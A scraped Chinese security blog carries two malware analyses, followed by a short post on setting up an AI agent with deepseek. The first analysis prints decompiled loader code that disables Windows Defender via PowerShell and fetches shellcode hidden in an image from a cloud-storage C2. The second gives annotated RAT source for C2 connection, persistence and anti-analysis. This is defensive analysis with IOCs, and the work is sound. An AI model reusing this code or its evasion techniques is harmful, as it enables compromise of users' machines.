  __int64 (__fastcall *v1)(_QWORD, char *, char *, char *, _QWORD, _DWORD, _QWORD, _QWORD); // rax
  int v2; // eax
  __int64 (__fastcall *v3)(_QWORD, char *, char *, char *, _QWORD, _DWORD, int); // [rsp+38h] [rbp-30h]
  char v4[16]; // [rsp+40h] [rbp-28h] BYREF
  char v5[24]; // [rsp+50h] [rbp-18h] BYREF

  result = ((__int64 (*)(void))unk_1B1FA1)();
  if ( (_DWORD)result )
  {
    strcpy(v4, "Shell32.dll");
    strcpy(v5, "ShellExecuteA");
    v1 = (__int64 (__fastcall *)(_QWORD, char *, char *, char *, _QWORD, _DWORD, _QWORD, _QWORD))sub_1B0C61(
                                                                                                   (__int64)v4,
                                                                                                   (__int64)v5);
    v2 = v1(0i64, aOpen, aPowershellExe, aAddMppreferenc, 0i64, 0, 0i64, v1);//关闭Windows Defender
    result = v3(0i64, aOpen_0, aPowershellExe_0, aTryNullIcimMsf, 0i64, 0, v2);//全部加入白名单
    if ( !(_DWORD)result )
      return 1i64;
  }
  return result;

image-20260529211902144

这下面两个函数是关闭360和360tcp网络通讯的函数

image-20260529212219419

image-20260529212314875

最后的最后我们来看下病毒执行部分

一共分别是防杀，c2地址拼接，下载文件，判断qq管家在不，下载图片并解密，执行图片里的shellcode

image-20260529214327317

在拼接完后就是个凯撒加密结果是https://[host动态获取].oss-cn-beijing.aliyuncs.com/tad

“j.urk” shift=17 → s.dat (下载清单文件)

“j.agx” shift=17 → s.jpg (藏 shellcode 的图片)

sub_1B4CA1（）用来从网上下载文件sub_1B4C51用来解密

image-20260529222033549

这里判断有没有腾讯管家如果有就直接退出程序

image-20260529225111802

这里下载s.jpg图片再再调整好参数

1
2
3
4
v70 = (__int64 (*)(void))((__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))sub_1B5521)(
                            v78[0],
                            LODWORD(v78[2]),
                            HIDWORD(v78[1]));

然后执行

1
v99 = v70();

image-20260529225500811

image-20260529225512213

最后关闭程序

ioc提取

类型 值 说明
C2 域名 *.oss-cn-beijing.aliyuncs.com 阿里云北京 OSS，bucket 按受害者主机名动态生成
C2 路径 /tad 主载荷下载接口
C2 路径 /s.jpg Shellcode 隐写载体
C2 路径 /s.dat ranchserv.jpg 数据文件
URL 模板 https://[hostname].oss-cn-beijing.aliyuncs.com/tad 动态 C2 构造

结语：此木马运用多层shellcode加载和手动获取内核函数的手段来运行并且主要执行文件要通过云端下载

发表于 分类于 本文字数： 758 阅读时长 ≈ 3 分钟

image-20260513214405285

依旧找到主函数这个是net结构拖进dnspy分析由于混淆比较轻就没管（就是一些函数名取地比较混乱）

image-20260513214539382

这个是主函数分为三个部分字符解密验证，木马运行，c2连接

解密验证

主要是这个函数rShUJoWxIfULR.gsItUfYUAszz

image-20260513214930426

可以看见上面的gsItUfYUAsz是用来解密ip，端口地址的至于下面的xViGYhhkCyrTQ是用来验证签名的（主要逻辑是用解密的公钥来rsa解密的结果和上面数据同时hash对比）

然后来看看上面的解密逻辑

image-20260513215348024

可以看见这里使用了aes256的cbc模式和HMAC-SHA256来检验

木马运行

image-20260513215719995

这个是运行逻辑分别是先检查一个木马运行，反调试检测，持久化设计，禁止终止进程

image-20260513215928275

这里看到用互斥体来保持一个运行程序

image-20260513220043682

这个用来反调试分别是反虚拟机，反调试，，判断内存大小来反沙箱，反xp系统

接下来看持久化设计

image-20260513222041250

先是获取目标文件如果有久的程序久停止然后如果是管理员权限就打开cmd然后用任务计划来自启动

image-20260513223608665

没有权限就加入开机自启目录

image-20260513223707372

然后创造新的文件将旧的复制进去，再写一个bat文本并运行，它重启新文件再删除自己，最后隐藏木马

image-20260513224853737

他是用来关闭连接和删除程序的（当环境不对时）

这个是禁止终止进程

image-20260513224421561

主要先提升权限设置当前程序的重要程度当强制终止时就蓝屏

c2连接

image-20260513225213926

image-20260513225337914

第一个时用来关闭各种协议的，第二是连上服务器的关键但是内容比较多我用代码和注释来解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public static void mckAnMrPneuzxANr()
		{
			try
			{
				liiyJozWhQGcm.qTXVqOEKvPlptUhe = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
				{
					ReceiveBufferSize = 51200,
					SendBufferSize = 51200
				};//tcp建立
				if (rShUJoWxIfULR.mJRpWzfYptlR == "null")
				{
					string text = rShUJoWxIfULR.IwnXSYzJgOVYTMj.Split(new char[] { ',' })[new Random().Next(rShUJoWxIfULR.IwnXSYzJgOVYTMj.Split(new char[] { ',' }).Length)];
					int num = Convert.ToInt32(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug.Split(new char[] { ',' })[new Random().Next(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug.Split(new char[] { ',' }).Length)]);//ip地址，端口拆分
					if (liiyJozWhQGcm.lGcTzSsFKfoycD(text))
					{
						foreach (IPAddress ipaddress in Dns.GetHostAddresses(text))
						{
							try
							{
								liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(ipaddress, num);
								if (liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connected)
								{
									break;
								}
							}
							catch
							{
							}
						}
					}
					else
					{
						liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(text, num);
					}
				}//尝试用ip直连
				else
				{
					using (WebClient webClient = new WebClient())
					{
						NetworkCredential networkCredential = new NetworkCredential("", "");
						webClient.Credentials = networkCredential;
						string[] array = webClient.DownloadString(rShUJoWxIfULR.mJRpWzfYptlR).Split(new string[] { ":" }, StringSplitOptions.None);
						rShUJoWxIfULR.IwnXSYzJgOVYTMj = array[0];
						rShUJoWxIfULR.eGvvAeHcGvsmgsOkug = array[new Random().Next(1, array.Length)];
						liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(rShUJoWxIfULR.IwnXSYzJgOVYTMj, Convert.ToInt32(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug));
					}
				}//用名字链接来获取ip再联系服务器
				if (liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connected)
				{
					liiyJozWhQGcm.sMTGUDsWLFW = true;
					liiyJozWhQGcm.AYswsEOoIgyT = new SslStream(new NetworkStream(liiyJozWhQGcm.qTXVqOEKvPlptUhe, true), false, new RemoteCertificateValidationCallback(liiyJozWhQGcm.JZXSVHgewuqAOe));	//跳过ssl检验
                    liiyJozWhQGcm.AYswsEOoIgyT.AuthenticateAsClient(liiyJozWhQGcm.qTXVqOEKvPlptUhe.RemoteEndPoint.ToString().Split(new char[] { ':' })[0], null, SslProtocols.Tls, false);//tls加密
					liiyJozWhQGcm.sEZsahAWzA = 4L;
					liiyJozWhQGcm.usTxSbjkwLraBeu = new byte[liiyJozWhQGcm.sEZsahAWzA];
					liiyJozWhQGcm.DMBgjrvDuLmnnF = 0L;
					liiyJozWhQGcm.ALsFOGfDQIYEq(xzQgkqwNpJ.LXExWtOiUUtLe());//发送本机消息
					liiyJozWhQGcm.ECWSXtkklGcnZ = 0;
					liiyJozWhQGcm.fNRolwEdaLMWcm = false;
					liiyJozWhQGcm.OcgqzeSEjnEmft = new Timer(new TimerCallback(liiyJozWhQGcm.NkXKBOZThWVSL), null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));//心跳包
					liiyJozWhQGcm.jPdfsrWDTFIim = new Timer(new TimerCallback(liiyJozWhQGcm.sbzatzMGJdJdc), null, 1, 1);//持续接受命令
					liiyJozWhQGcm.AYswsEOoIgyT.BeginRead(liiyJozWhQGcm.usTxSbjkwLraBeu, (int)liiyJozWhQGcm.DMBgjrvDuLmnnF, (int)liiyJozWhQGcm.sEZsahAWzA, new AsyncCallback(liiyJozWhQGcm.GOShPGzCCNbAE), null);//接受命令
				}
				else
				{
					liiyJozWhQGcm.sMTGUDsWLFW = false;
				}
			}
			catch
			{
				liiyJozWhQGcm.sMTGUDsWLFW = false;
			}
		}

结语：这个木马就分析完但是解密和流量分析都还没做有空做一下

发表于 分类于 本文字数： 347 阅读时长 ≈ 1 分钟

最近研究了下ai agent本地部署的事，想要用国外的大模型还是比较麻烦

第一是用中转站open ai不稳定而且容易倒闭，

第二用集成的ai平台虽然比较稳定但是每个月要冲不少钱还不能本地化部署也很麻烦而且没有信誉较好的凭证容易删号跑路，

第三就是注册港澳电话卡获得国外的账户然后直接使用但每次的电话费用和要翻外网使用成本比较高和程序繁琐（有一个谷歌账号就好了）

第四使用本地开源模型一方面是我的笔记本负担不了那么多内存和开源模型大多没有那么先进

所以我想要可以agent代理模型调用方便，负担小就使用了openclaw和deepseek v4，再加上要一些图片读取使用豆包的1.8模型

接下来是安装步骤

1.用命令行安装openclaw（问ai）

2.去deepseek和火山引擎获得open api接口（记得看官方文档里面的curl和模型名）

3.用openclaw的命令安装deepseek和doubao（openclaw configure）local-model-custom provide-api配置

4.打开（openclaw gateway）用deepseek模型写python脚本调用豆包读取图片

下面是我布置成功的界面

image-20260513170903013

0%